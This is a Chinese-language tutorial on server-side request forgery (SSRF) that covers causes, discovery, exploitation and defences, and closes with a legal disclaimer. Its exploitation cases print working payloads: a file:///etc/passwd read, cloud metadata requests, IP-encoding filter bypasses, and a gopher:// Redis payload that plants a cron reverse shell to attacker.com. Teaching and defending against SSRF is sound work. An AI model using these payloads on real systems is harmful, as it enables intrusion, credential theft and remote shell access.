一、SSRF漏洞简介
服务端请求伪造(Server-Side Request Forgery, SSRF) 是一种攻击者通过操控服务端发起非预期网络请求的安全漏洞。攻击者利用目标服务器的权限,构造恶意请求访问内网资源、本地系统文件或第三方服务,可能导致敏感数据泄露、内网渗透甚至远程代码执行。
核心危害
1. 内网探测与端口扫描:通过SSRF绕过网络边界,探测内网服务(如Redis、数据库)。
2. 敏感数据泄露:读取本地文件(file:///etc/passwd)或访问云服务元数据(如AWS的169.254.169.254)。
3. 远程攻击链触发:结合其他漏洞(如FastCGI、SSH)实现内网横向移动或反弹Shell。
二、SSRF漏洞成因分析
1. 服务端未校验用户输入:未对用户提供的URL参数(如图片下载、API调用)进行合法性校验。
2. 支持非常规协议:允许使用file://、dict://、gopher://等危险协议。
3. 服务端网络权限过高:目标服务器具备访问内网或敏感资源的权限。
4. 业务逻辑依赖外部请求:如网页预览、PDF生成、Webhook回调等功能需发起外部请求。
三、SSRF漏洞挖掘技巧
1. 输入点识别
- 参数关键词:查找url、link、path等字段,常见于以下场景:
- 图片/文件下载功能。
- 数据导入导出(如从URL加载数据)。
- 第三方服务集成(OAuth回调、支付网关)。
2. 协议与Payload构造
- 基础探测:尝试将参数值替换为内网地址或本地文件路径:
GET /download?url=http://attacker.com HTTP/1.1
→ 替换为
GET /download?url=file:///etc/passwd HTTP/1.1
- 伪协议利用:
- dict://<ip>:<port>:探测端口开放情况(响应时间差异)。
- gopher://:构造TCP流量攻击内网服务(如Redis未授权访问)。
- ssrf.php?url=http://169.254.169.254/latest/meta-data/:读取云服务器元数据。
3. 绕过防护机制
- IP格式绕过:使用十六进制、十进制IP编码(如2130706433 → 127.0.0.1)。
- 域名重定向:利用短链服务或可控域名指向内网地址。
- 协议混淆:如http://localhost@attacker.com。
四、SSRF漏洞利用实战
案例1:内网服务探测
GET /api/fetch?url=dict://192.168.1.1:6379/info HTTP/1.1
若目标内网存在Redis服务且端口开放,可能返回版本信息,进一步利用未授权访问执行命令。
案例2:云环境元数据泄露
GET /export?url=http://169.254.169.254/latest/user-data HTTP/1.1
AWS、阿里云等平台的元数据接口若未隔离,可泄露实例密钥、角色权限等信息。
案例3:Gopher协议攻击内网Redis
gopher://192.168.1.2:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$50%0d%0a%0a%0a%0a/1 /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0d%0a1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
通过Gopher协议发送Redis命令,写入定时任务反弹Shell。
五、SSRF漏洞防御实战
1. 输入校验与过滤
- 协议白名单:仅允许http(s)协议,禁用file、gopher等危险协议。
- 域名/IP限制:使用正则表达式过滤内网地址(如127.0.0.1、192.168.、10.)。
2. 网络隔离与权限控制
- 服务端网络隔离:限制应用程序服务器的出站连接,禁止访问非必要资源。
- 使用中间代理:通过代理服务转发请求,避免直接暴露服务器IP。
3. 云环境加固
- 元数据接口防护:禁用或强制鉴权云元数据服务(如AWS IMDSv2)。
- 安全组策略:限制内网服务的访问权限,仅允许可信IP通信。
4. 代码层防护
- 使用安全的HTTP客户端:如Python的requests库默认禁止重定向,避免30X跳转绕过。
- 禁用危险函数:如PHP的file_get_contents()、fsockopen()需谨慎使用。
六、总结
SSRF漏洞的防御核心在于“最小化信任”原则——服务端应对用户输入保持零信任,并通过协议限制、网络隔离、权限控制等多层防护降低风险。在开发过程中,需严格校验外部请求参数,结合自动化扫描工具(如Burp Suite、SSRFmap)定期检测潜在漏洞。对于云环境,需额外关注元数据接口与内网服务的安全性,避免因配置不当引发连锁攻击。
免责声明
本技术文章仅供学习与研究目的使用,旨在帮助安全从业人员、开发人员及爱好者了解SSRF漏洞的原理、危害及防御方法。作者及发布平台对读者使用本文所述技术造成的任何直接或间接后果不承担任何责任。
重要注意事项
1. 合法授权:所有安全测试必须在获得目标系统所有者明确授权的前提下进行。未经授权的渗透测试可能违反法律法规(如《网络安全法》《刑法》第二百八十五条)。
2. 禁止恶意利用:严禁将文中提到的技术用于非法活动,包括但不限于数据窃取、系统破坏、隐私侵犯等。
3. 风险自担:若读者自行搭建实验环境测试漏洞,需确保环境隔离,避免对真实业务造成影响。因操作不当导致的损失需自行承担。
网络安全关乎公共利益,请始终遵循道德准则与法律法规。如发现漏洞,请通过合法渠道上报厂商或CNVD等平台。
版权声明:本文内容可自由分享,但需保留出处及作者信息,禁止用于商业用途。